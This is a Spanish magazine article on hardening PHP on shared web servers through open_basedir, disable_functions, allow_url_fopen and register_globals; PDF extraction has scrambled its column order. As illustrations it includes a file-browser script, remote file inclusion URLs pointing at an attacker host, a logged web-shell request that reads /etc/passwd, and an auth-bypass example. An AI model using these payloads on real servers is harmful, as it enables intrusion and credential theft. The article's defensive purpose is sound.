68

Sin embargo, este método tienealgunos inconvenientes. Los ficheroscreados por PHP en tiempo de ejecución- imágenes subidas, ficheros caché osimplemente ficheros de un libro de visi-tas - normalmente tienen el ID delusuario del servidor Web, a pesar de queel script PHP tenga el ID del usuario quelo subió vía FTP. En este caso,safe_mode ocasionaría problemas deaccesos.

La comprobación de los permisos delos ficheros es tan sólo un pequeñopaso hacia la seguridad, pero tienepoca utilidad por sí misma. Elparámetro no hace honor a su presun-tuoso nombre. Además, existen proble-mas con la implementación a vecesPHP no realiza comprobacionessafe_mode correctamente. La ventaja,en realidad, puede llegar a ser unadesventaja, ya que los administradorespueden pensar que están a salvo [4] yno tomar ninguna otra medida deseguridad.

open_basedir proporciona más protec-ción con menos elementos. Incluso sisafe_mode funciona, aún se debería con-

de la base de datos y otros ficheros coninformación interna. La Figura 2 muestraun posible listado.

La documentación de PHP en [1] tieneejemplos de parámetros y funciones, asícomo algunos capítulos sobre seguridad[2]. El antiguo pero interesante HOWTOsobre instalación de un servidor webseguro de Marc Heuse en [3] tambiénproporciona una buena visión.

Seguridad RelativaSi esta es la primera vez que se interesapor la seguridad en PHP, probablementese haya dado cuenta de que en el ficherophp.ini hay un parámetro, cuyo nombresuena bastante prometedor, safe_mode.Esta opción le indica a PHP que realiceunas comprobaciones adicionales deseguridad. Entre otras cosas, en el accesoa los ficheros, el intérprete comprueba siel ID del usuario para el fichero es elmismo que el ID del usuario para elscript invocado. Esto es un intento porparte de PHP para impedir que los usua-rios lean ficheros que no les pertenezca,aunque el sistema de ficheros les de per-miso para leerlos.

La mayoría de los proveedores Webpermiten en la actualidad la ejecu-ción de scripts PHP. Los usuarios

pueden ejecutar sus propias aplicacionesde servidor en el servidor - y exponerseellos mismos a un riesgo mucho mayordel que puedan suponer. Sin embargo,PHP implica menos exposición al riesgoque los scripts CGI.

AgujeroEl Listado 1 muestra un administrador deficheros que podemos usar para compro-bar el espacio web a asegurar. Después desubir el administrador de ficheros al sitioweb, podemos usarlo para tener un accesofácil al disco duro, incluido el nivel raíz, siel intérprete de PHP nos permite llegarhasta ahí. Como el intérprete se ejecuta enel mismo contexto que el servidor webApache, podríamos tener acceso a/etc/passwd y los directorios webs de otrosusuarios, incluido los ficheros ./htpasswdalmacenados en esos directorios.

El directorio /tmp es también intere-sante ya que a menudo contiene ficherosque el administrador ha olvidado, comolistados de ficheros o usuarios, volcados

Permitir que los usuarios instalen scripts PHP de forma arbitraria puede poner en peligro la seguridad del

servidor web. Un pequeño error es todo lo que se necesita para que un atacante tenga acceso a los ficheros

del sistema o la shell. Pero los administradores tienen una línea final de protección la cual utiliza las opciones

de PHP para minimizar el riesgo. POR PEER HEINLEIN

AIRBAG PARASERVIDORES WEBS

ADMINISTRACIÓN • Seguridad PHP

68 W W W . L I N U X - M A G A Z I N E . E S

original photo: ww

w.sxc.hu

Número 05

PHP Seguro en entornos multiusuarios

AIRBAG PARASERVIDORES WEBS

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Página 68

siderar open_basedir como una precau-ción extra.

Open_basedir - ¿Caballero de ArmaduraResplandeciente?open_basedir permite a los admi-nistradores definir una o más rutas. A los

scripts PHP tan sólo se les permiteacceder a ficheros en estos directorios(Figura 3). Suponiendo que php.initenga la entrada open_basedir =/srv/www/htdocs, PHP devolverá unerror ante cualquier intento por accedera un fichero que esté fuera de este direc-torio.

Esta restricción al $HTDOCROOT deApache impide el acceso al discoentero, sin embargo, los usuarios delservidor web aún pueden leer y escribiren los directorios de los demás usua-rios, a menos que los permisos de losficheros UNIX impidan que lo hagan. Elnavegador de ficheros del Listado 1

69W W W . L I N U X - M A G A Z I N E . E S

Seguridad PHP • ADMINISTRACIÓN

69Número 05

Figura 2: Un script de PHP accede libremente a un servidor inseguro. El sencillo gestor de

ficheros en PHP del Listado 1 es todo lo que necesitamos para darnos un paseo por el disco.

Figura 3: open_basedir permite a los admi-

nistradores restringir los scripts PHP a los

ficheros del espacio reservado del servidor.

La zona del sistema de ficheros a la que el

servidor virtual tiene acceso aparece

resaltada en otro color.

Un programa CGI se ejecuta en el servi-dor como un proceso independiente.Un proceso CGI con los privilegios deaccesos necesarios tiene las mismascapacidades que un proceso deusuario, incluyendo acceso al hardwarey al sistema de ficheros e inclusoacceso a las variables del sistema, lalista de procesos, la lista de usuarios ya muchas otras cosas más. Hay quepoder confiar en sus usuarios para per-mitirles que ejecuten sus propias CGIs(Figura 1). Por el contrario, los scriptsPHP se ejecutan en una caja de arenaproporcionada por el intérprete de PHPcomo un componente del servicioApache.

Los entornos Linux se configuran típi-camente para operaciones multiusua-rios seguras, pero hay que distinguirentre los agujeros de seguridad que sepuedan explotar localmente de los quese puedan explotar remotamente. Unatacante local puede ocasionar muchomás daño de lo que lo pueda hacer unoremoto y un script CGI expone al sis-tema a los mismos riesgos que unsaboteador local.

Además, es mucho más difícil conseguirlos permisos de los ficheros en un servi-dor web que en una aplicación deescritorio. Hay que asignar al menos per-misos de lectura tanto al ID del usuariodel servidor web como al usuario quecrea las páginas de cualquier fichero quese publique en la web. Pero en unentorno multiusuario, incluso un simpleacceso de lectura de esta clase puede serun problema, si se necesita evitar quelos usuarios externos lean las con-traseñas de las bases de datos. Si hayque asignar permisos de escritura parasu espacio web, por ejemplo, para los

libros de visita o galerías de imágenes,algunos HOWTO recomiendan chmod777 - es casi un suicidio, que completa-mente abre los directorios y que por des-gracia ha sucedido anteriormente enalgunos servidores.

Manteniendo los Usuarios Aparte

Es más o menos imposible mantener alos usuarios separados de manera queno puedan acceder a los datos de susvecinos usando la configuración de CGIpor defecto. Con algo de esfuerzo adi-cional, los administradores pueden almenos impedir que los servidores FTPpermitan chmod 777. Y las envolturasque proporcionan Apache para las CGIsfacilitan una capa más de seguridad,asegurándose de que los programas CGIse ejecutan con el ID del usuario pro-pietario, en vez de con los privilegios delservidor Apache. Los administradoresdisponen de muchas más opciones conPHP. La opción open_basedir que hemosestado viendo en este artículo le indica alintérprete de PHP que compruebe si elscript tiene permiso para acceder aldirectorio especificado además de com-probar los permisos del fichero.

CGI y PHP

Figura 1: En contraste, los scripts PHP se

ejecutan en una caja de arena proporcionada

por el intérprete de PHP, como un compo-

nente del servicio Apache.

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Página 69

otros usuarios, como se muestra en laFigura 4.

Apache vs. PHPLa línea 10 de nuestro ejemplo permite elacceso al directorio /usr/share/php ademásde las carpetas en el dominio/srv/www/htdocs/www.example.com. Eldirectorio contiene las bibliotecas comunesde PHP y los paquetes PEAR (PHP Exten-sion and Application Repository).

Por defecto, upload_tmp_dir apunta aldirectorio /tmp, que proporciona accesoglobal de escritura. Esto no es una con-figuración para un entorno seguro. Esimportante que se asigne un directorio

temporal a cada dominio (línea 12) yque se guarde la información de cadasesión de forma individual para cadadominio (línea 13).

Como la configuración paraupload_tmp_dir especifica un directoriobajo srv/www/htdocs/www.example.com,el script PHP tiene acceso a pesar de lasrestricciones de open_basedir. Si esto nofuera así, la línea 10 también necesitaríaincluir la ruta al directorio.

Validación de EntradaLos administradores a menudo subesti-man el riesgo que una configuracióninsegura lleva asociada y de la clase de

sería capaz de producir el resultado dela Figura 2.

La manera de manejar esta situaciónes crear un open_basedir para cadadominio albergado, o usuario, pararestringir el acceso a un directorioúnico. Afortunadamente, PHP puedeusar el parámetro php_admin_value enla definición del host virtual de Apachepara imponer las restricciones nece-sarias (Listado 2). Para poner variosdirectorios, hay que separarlos por pun-tos y comas. Después de aplicar elnuevo nivel de seguridad y rearrancar elservidor web Apache, el servidor dene-gará el acceso a los directorios de los

ADMINISTRACIÓN • Seguridad PHP

70 Número 05 W W W . L I N U X - M A G A Z I N E . E S

01 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.002 Transitional//EN">03 <html><head><title>04 Filebrowser v1.0 -- Peer Heinlein05 </title></head>06 <body>07 <?08 if(isset($_GET['path'])) {09 // Leer variables si register_globals=off10 $path = $_GET['path'];1112 // Si fichero, mostrar contenido13 if(is_file($path)) {14 $file = fopen($path,"r");15 print "<pre>";16 while (!feof($file)) {17 $zeile = fgets($file, 4096);18 print htmlentities($line,ENT_QUOTES);19 }20 print "</pre></body></html>";21 fclose($file);22 exit;23 }2425 // Si path, mostrar listado de directorio26 print "<pre><b>Content of $path</b><br><br>";27 $dir = opendir($path);28 while($file = readdir($dir)) {29 $filepath = $path . "/" . $file;30 if(is_dir($filepath)) print "[DIR ] ";31 elseif(is_file($filepath)) print "[FILE] ";32 elseif(is_link($filepath)) print "[LINK] ";33 else print " ";3435 if($file == ".")36 print "<a href=\"" . $_SERVER['PHP_SELF']37 . "?path=$path\">.</a><br>";38 elseif($file == "..") {39 if(substr($path,0,strrpos($path,"/")) == "")40 {

41 print "<a href=\"" . $_SERVER['PHP_SELF']42 . "?path=/\">..</a><br>";43 } else {44 print "<a href=\"" . $_SERVER['PHP_SELF']45 . "?path=" .46 substr($path,0,strrpos($path,"/"))47 . "\">..</a><br>";48 }49 }50 else {51 print "<a href=\"" . $_SERVER['PHP_SELF']52 . "?path=" . (($path == "/") ? "" : $path)53 . "/" . rawurlencode($file) .54 "\">$file</a>";55 // listar atributos fichero56 $mode = (is_writeable($filepath)) ?57 ", mode: writeable " : "";58 $stat = stat($filepath);59 $uid = $stat[4];60 $gid = $stat[5];61 $size = $stat[7];62 print " [ uid: $uid, gid: $gid, size:63 $size $mode]";64 }65 }66 closedir($dir);67 print "</pre>";68 } else {69 ?>70 <form action="" method="get">71 Directory?<br>72 <input type="text" name="path">73 <br><br>74 <input type="submit" value="display">75 </form>76 <?77 }78 ?>79 </body>80 </html>

Listado 1: Administrador de Ficheros

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Página 70

usuarios de la que tienen que protegerse.En algunos casos, los atacantes remotospueden subir sus propios códigos PHP alservidor y ejecutarlos, sin la necesidadde acceder por FTP al espacio web. Elpeligro real no es una cuestión de confiaren los usuarios legítimos.

La técnica que permite a los usuariosde la web añadir su propio códigomanipulado a los libros de visitas malimplementados, registros web u otroscampos de entradas, se conoce como“inyección de código”. Si la aplicaciónde servidor simplemente pasa al librode visitas la entrada sin realizar unavalidación de la entrada, el servidorpodría ejecutar el comando del atacantecuando otro usuario vea la entrada. Lasaplicaciones deberían devolver sola-mente texto ASCII, pero inclusoentonces, los atacantes pueden evitarser descubiertos incluyendo etiquetasde cierre que engañen al intérprete dePHP haciéndole creer que ha llegado alfinal del libro de visitas y añadir elcódigo dañino.

Es difícil para los administradoresimpedir que esta clase de ataques ocur-ran en sus servidores webs. De hecho, esel trabajo de los programadores validar yeliminar las entradas peligrosas: véase elcuadro “Programación PHP segura”. Sinembargo, PHP puede proteger los datosque el script ha obtenido (usando GET,POST o las cookies) escapando lascomillas peligrosas y de esta forma miti-gar el riesgo. Una configuración globalllamada magic_quotes_qpc=on delphp.ini se encarga de ello. Pero esta

opción no reemplaza el grado de para-noia que deberían tener los progra-madores de PHP.

Es trabajo de los administradores elmitigar los daños colaterales. Un ataquepor “inyección código” podría afectar aun programador de PHP despreocupado,pero no debería permitirse que dañe alresto de usuarios inocentes del servidor.La opción open_bassedir es una buenaforma para conseguirlo. Impide que elcódigo PHP inyectado pueda expandirsepor los datos de otros usuarios.

HTTP y Código MaliciosoLos scripts PHP que no manejan los IDsde las páginas de forma correcta, suelenpreparar las inclusiones de los ficherosde forma poco cuidadosa y son un obje-tivo fácil para los atacantes. La si-guiente URL muestra como un sencilloscript index.php acepta la variable $id

como una ruta para el comando PHPinclude:

http://www.example.comU/cms/index.php? U

id=info/appointments.txt

Manipulando la URL se puede obtenerinformación que el servidor Apache noproporciona por buenas razones:

http://www.example.comU/cms/index.php? U

id=intern/.htpasswd

Al menos los adminis t radorespueden confiar en que open_basedirimpida que otros usuarios accedan aestos datos. Los atacantes tan sóloveran los ficheros en el dominio vul-nerable. Pero no hay que suponerque los atacantes están restringidos alos en laces de los f i cheros de ldominio. El comando PHP includetambién maneja URLs por defecto yusará FTP o HTTP para ca rga rficheros PHP.

Si un atacante manipula la URL yhace que apunte a algún código PHPde un servidor web remoto, el servi-dor compromet ido carga rá es tecódigo, lo insertará en un punto ade-cuado y lo ejecutará. La Figura 5muestra este procedimiento. La URLmanipulada contiene la dirección delservidor del atacante:

http://www.example.comU/cms/index.php?id=http://www.attacker.comU/hackcode.php

Seguridad PHP • ADMINISTRACIÓN

71Número 05W W W . L I N U X - M A G A Z I N E . E S

Figura 4: Esta es la clase de mensaje de error que cualquier administrador aprecia. Gracias a

open_basedir, PHP impide accesos no autorizados al listado del directorio del script (véase la

Figura 2).

01 <VirtualHost 192.168.99.99:80>02 ServerAdmin webmaster@example.com03 DocumentRoot /srv/www/htdocs/www.example.com/html04 ServerName www.example.com05 ErrorLog /var/log/httpd/www.example.com-error06 CustomLog /var/log/httpd/www.example.com-access_log combined0708 # open_basedir restringido a DocumentRoot, a las librerías PHP09 # y posiblemente al directorio PHP-tmp10 php_admin_value open_basedir11 /srv/www/htdocs/www.example.com:/usr/share/php12 # seguridad adicional suministrados por rutas individuales por

dominio13 php_admin_value upload_tmp_dir /srv/www/htdocs/www.example.com/tmp14 php_admin_value session.save_path15 /srv/www/htdocs/www.example.com/session16 </VirtualHost>

Listado 2: Open_basedir por dominios

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Página 71

dirección IP, para antes de terminarañadir el contenido de /etc/passwd.

URLs sospechosasLos administradores ocasionalmentedeberían copiar las URLs sospechosas ensus navegadores y comprobar cómo secomportan sus sitios webs frente a estosataques. Si el sitio web muestracualquier clase de información que elatacante desea ver, entonces debería pro-ponerse echar unas cuantas horas extrasreconfigurando el servidor.

El hecho de que una URL maliciosaaparezca en los ficheros de registro nosignifica necesariamente que haya sidohackeado. Sino que alguien ha intentadoejecutar comandos del sistema en sumáquina. Si le sucede esto, deberíaseguir los siguientes pasos:• En el cortafuegos, impida que

su servidor web solicite peti-ciones FTP externas o fuentesHTTP (salida de datos TCP al

puerto de destino 80). Si nece-sita utilizar conexiones HTTPpara actualizaciones de Linux odel antivirus, debería restringirestas conexiones a la páginaweb de dichas empresas.

• Explique los principios de pro-gramación PHP cuidadosa a sususuarios.

• Si es posible, deshabilite la eje-cución de comandos del sis-tema en PHP.

PHP tiene una opción útil que desha-bilita los comandos peligrosos en elintérprete de PHP. Para deshabilitarlo,añada lo siguiente en el fichero php.ini:

disable_functions = system, U

exec,shell_exec, passthru, U

phpinfo, show_source

Las palabras reservadas system, exec,shell_exec y passthru permiten a losscripts de PHP lanzar comandos Linux

Para remediar este problema se puedeusar el parámetro de php.ini:

allow_url_fopen_= no

Al comprobar los ficheros de registros demuchos servidores web se revela quehay hackers que sistemáticamente bus-can vulnerabilidades en los sitios webs.Gracias a Google, el encontrar bastantesURLs interesantes no es ningún pro-blema para los posibles atacantes. Porejemplo, si se busca =http:// en su pro-pio fichero de registro, access de Apachepodría encontrar casos sospechosos quevaldría la pena investigar. Parámetroscon URLs completas no son necesaria-mente sospechosas, como se da en losservicios de traducción o en anoni-mizadores para otros sitios webs. Perouna ocurrencia de esta cadena en susitio web es un síntoma de que algopuede ir mal.

La Shell PHPEl script cmd.txt (cmd.php) es intere-sante, ingenioso y uno de los mejoresamigos de los hackers. El script esperaun parámetro, cmd e intenta usarexec() o system() para ejecutar elparámetro como un comando Linux. Silo realiza con éxito, le suministra alatacante una shell flexible. Los ata-cantes pueden usar la barra de direc-ciones del navegador para introducircomandos UNIX. La siguiente entradaen mi propio fichero de registro mues-tra lo que sucede si falla a la hora deproteger su servidor. La cadena %20 esel carácter espacio codificado en for-mato URL:

http://www.heinlein-support.deU/index.php?id=http: U

//farpador.ubbi.com.br/Ucmd.txt?&cmd=uname%20-Ua;cat%20/proc/Uversion;uptime;id;pwd; U

/sbin/ifconfig|Ugrep%20inet;cat%20U/etc/passwd

Esta URL intenta cargar la shellPHP, cmd.txt, desdehttp://farpador/ubbi.com.br. La lla-mada también pasa un comando de lashell de UNIX para pedirle al sistemaoperativo el tiempo de ejecución, el IDdel usuario, el directorio home y la

ADMINISTRACIÓN • Seguridad PHP

72 Número 05 W W W . L I N U X - M A G A Z I N E . E S

Más que nadie, es el programador dePHP el responsable de la seguridad delsitio web. Regla número 1: No confiar ennadie. Cuando se crean sitios webs,sígase estas reglas:

1. Nunca confie en una variable que no

haya asignado usted mismo Antes deusar una variable, asegúrese de que lainicializa con un valor conocido (Listado4, línea 2). De otra manera, unregister_globals=off permitirá a un ata-cante manipular sus variables.

2. Compruebe las rutas de los ficheros

antes de incluirlos Aunque los accesosa rutas externas estén restringidos por laopción open_basedir, hay bastantesficheros en su propio sitio web que nodeberían ser accesibles al público engeneral, por ejemplo, .htpasswd o elfichero con las contraseñas de sus basesde datos MySQL. Si su script hace usode un parámetro que le indique la rutapara el fichero que se va a incluir,debería comprobar si se permite incluirel fichero. Una mala comprobación per-mitiría a un atacante sustituir las rutas.

Las expresiones regulares proporcionanuna manera fácil de validar las entradas.Su mejor opción es permitir sólo los ca-racteres inofensivos. Si esto no fun-ciona, debería comprobar que el nombrede fichero empieza por un punto yrenombre cualquier dato sensible que

empiece por un punto. La función re-gexp debería impedir la aparición de ..en los nombres de ficheros. Los ficherosa incluir deberían estar ubicados en unsubdirectorio previamente definido,cuya ruta debería estar ya puesta en lassentencias de inclusión.

3. Valide todas las entradas de los

usuarios Todas las entradas de usuario,independientemente de su forma (URL,cookie o basadas en formularios)deberían ser validadas por sus scriptsantes de almacenarse. En particular, elscript debería comprobar posibles eti-quetas HTML no autorizadas o código deprograma PHP en el texto introducido.La entrada podría incluir al final “;”, porejemplo, lo que ocasionaría que el inter-prete de PHP ejecutaría cualquier códigoPHP que le siguiese (Inyección de códigoPHP). El intérprete supondrá que “;” ter-mina la entrada. Los atacantes podríanentonces inyectar un comando SQL paraterminar los datos que el programa pasaa la base de datos MySQL e insertarcódigo malintencionado en este punto(SQL injection).

No hay que escribir el código que validelas entradas por uno mismo: PHP cuentacon addslashes(), quote_meta() ymysql_real_escape_string() para escapara estos caracteres especiales ystrip_tags() para eliminar las etiquetasHTML y PHP.

Programación PHP Segura

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Página 72

Seguridad PHP • ADMINISTRACIÓN

externos con los privilegios del servidorweb. Estas funciones PHP no serequieren habitualmente en un servidorweb normal; de hecho, casi cualquierscript se debería hacer sin necesitad deusar los comandos de Linux.

Deshabilitando funcionesPHPLa protección open_basedir realmenteno funciona hasta que no se desha-biliten estas funciones. Recuerde que

los comandos Linux no saben nadaacerca de las restricciones PHP ypodrán abrir cualquier fichero que seaaccesible para el servidor web. Peroincluso si realmente necesita permitir lafunción exec(), aún hay una forma deprotegerse:

safe_mode_exec_dir = U

/srv/www/bin

Los administradores pueden usar elphp.ini para asignar un directorio dondeejecutar los programas Linux (o enlacessimbólicos a las herramientas permiti-das). Esto al menos impide que losscripts PHP ejecuten programas arbitra-rios. Se necesita activar safe_mode pararealizar esto.

La función show_source se utilizapoco y no tiene sentido usarla en unentorno de producción, ya que ofrece alos hackers sus scripts PHP en bandejade plata, incluyendo posiblemente lasclaves de sus bases de datos, colo-reando el código de sus scripts parahacer la lectura de los mismos másconfortable.

A algunas personas les gusta ejecutarphpinfo() para mostrar los detalles delservidor web. Aunque esta informaciónes inofensiva en sí misma y los valorespor defecto son conocidos, cualquier ras-tro de información que un atacantepueda conseguir en su búsqueda de vul-nerabilidades podría ser decisiva. Las

01 <?02 $auth = 0;03 $uid = $_GET['username'];04 $pwd = $_GET['password'];0506 if($uid == "tux" && $pwd ==07 "blabla") {08 $auth = 1;09 }1011 if($auth == 1) {12 print "Área Interna ";13 } else {14 print "Lo siento: Acceso

Denegado";15 }16 ?>

Listado 4: Script seguro01 <?02 if($username == "tux" &&03 $password == "blabla") {04 $auth = 1;05 }0607 if($auth == 1) {08 print "Área Interna ";09 } else {10 print "Lo siento: Acceso

Denegado";11 }12 ?>

Listado 3: Script inseguro

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Página 73

nistrador podría evitar también esta vul-nerabilidad:

register_globals=off

Esta configuración impide que PHPalmacene los parámetros de la URL envariables. Al mismo tiempo, rompe laconsulta de la contraseña en la línea 2.El script necesitará usar los arrays glo-bales reservados $_GET, $_POST o$_COOKIE para evaluar los parámetros.El Listado 4 muestra un script más elabo-rado que soluciona esto.

El Efecto de DeshabilitarRegister_globalsA causa de todos los cambios que hayque realizar en los scripts PHP, es bas-tante difícil, pasar de un servidor conregister_globals=on a register_glo-bals=off. Los usuarios a menudo se que-jan y no comprenden por qué tienen quecambiar sus scripts que hasta ahora fun-cionaban correctamente.

Pero definitivamente, vale la pena elesfuerzo, ya que protege a los progra-madores de su propia ignorancia.Debería procurar completar el cambio envarios pasos. Anunciando el cambio conantelación para darle la oportunidad alos usuarios de revisar su código contiempo. Entonces, se podría establecerregister_globals=off durante unas cuan-tas horas. Y los usuarios tendrían estaoportunidad para comprobar sus scriptsy corregir los errores.

Los servidores web nuevos tendríanque desactivar esta opción, aunquedebería estar preparado para discutireste tema con los usuarios. Algunosusuarios de su red podrían no sercapaces de comprender por qué sus

scripts PHP favoritos novolverán a funcionar másen el servidor por falta deun buen estilo de progra-mación, aunque susscripts tuvieran 9.5 de 10puntos de sus adorablesusuarios.

Los desarrolladores dePHP están al tanto de quela Web es un lugar pocoamigable y se las hanarreglado para cambiar elcomportamiento pordefecto de la versión 5,estableciendo

register_globals=off. PHP5 no suminis-tra ninguna herramienta nueva para for-talecer la seguridad de su servidor.

ConclusiónUnos sencillos pasos es todo lo que senecesita para proporcionar a sus usua-rios la clase de seguridad que necesitan.Muchos de los problemas actuales sim-plemente desaparecen sin la necesidadde dolores de cabeza. Las medidasdescritas en este artículo deberían serparte de su postura de seguridad. ■

buenas costumbres dictanque los administradoresdeben evitar que cualquierinformación interna seaaccesible desde el exterior.Muchos de los usuarios deespacios webs dejanficheros como phpinfo.phppor el sitio, exponiendoinformación valiosa a losojos de cualquiera que setome la molestia derecogerla.

Para estar seguro,debería deshabilitar la fun-ción de información y envez de ello, debería crear un ficheroHTML estático con la salida dephpinfo(), si se necesitara. Inclusopodría proteger por medio de una con-traseña el acceso a este fichero pararestringir el acceso a esta información.

Almacenamiento VariablesAdemás debería añadir la línearegister_globals=off en php.ini. Estoevita errores de programación y fuerza alos programadores a generar un códigomás limpio. Establecer register_glo-bals=on significa que PHP creará va-riables para reflejar los parámetros de laURL. La siguiente URL asignaría el valortux a la variable $username y southpole a$password:

http://www.example.com U

/index.php?username= U

tux&password=southpole

Un programa mal diseñado emplearíaesta característica para evaluar y usar losparámetros de la URL. El script en el Lis-tado 3 parece, a primera vista, que esuna forma inofensiva de autenticación,pero un atacante podría teclear la si-guiente URL para adivinar la contraseña:

http://www.example.com U

/index.php?auth=1

El parámetro auth sin datos del loginrevelará datos internos. La supuestainofensiva comprobación de la línea 6supondrá que el usuario está autentifi-cado. El programador de PHP deberíatener la variable inicializada, $auth=0,al comienzo del script o añadir una ramaelse a la condición para proporcionar unestado definido. Como se dijo, el admi-

ADMINISTRACIÓN • Seguridad PHP

74 Número 05 W W W . L I N U X - M A G A Z I N E . E S

Peer Heinlein haejercido de Provee-dor de Servicios deInternet desde 1992.Aparte de su libro dePostfix, Peer ha pub-licado otros doslibros en “LPIC-1” y “Snort” Sis-temas de detección de intrusionesen Open Source Press. La empresade Peer, www.heinlein-support.de,enseña y forma administradores yproporciona consultoría y serviciosde soporte en toda Europa.

ELA

UTO

R

[1] Documentación PHP: http://www.php.net/docs.php

[2] Manual de Seguridad PHP: http://de2.php.net/manual/de/security.index.php

[3] Marc Heuse, “Installing a Secure WebServer”: http://www.suse.de/de/private/support/online_help/howto/secure_webserv/

[4] Crítica a PHP safe_mode: http://ilia.ws/archives/18_PHPs_safe_mode_or_how_not_to_implement_security.html

RECURSOS

Figura 5: Los scripts PHP mal programados permiten a los atacantes

“inyectar” su propio código en la página. Si se le pide que lo haga, PHP car-

gará este código desde un servidor Web remoto.

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Página 74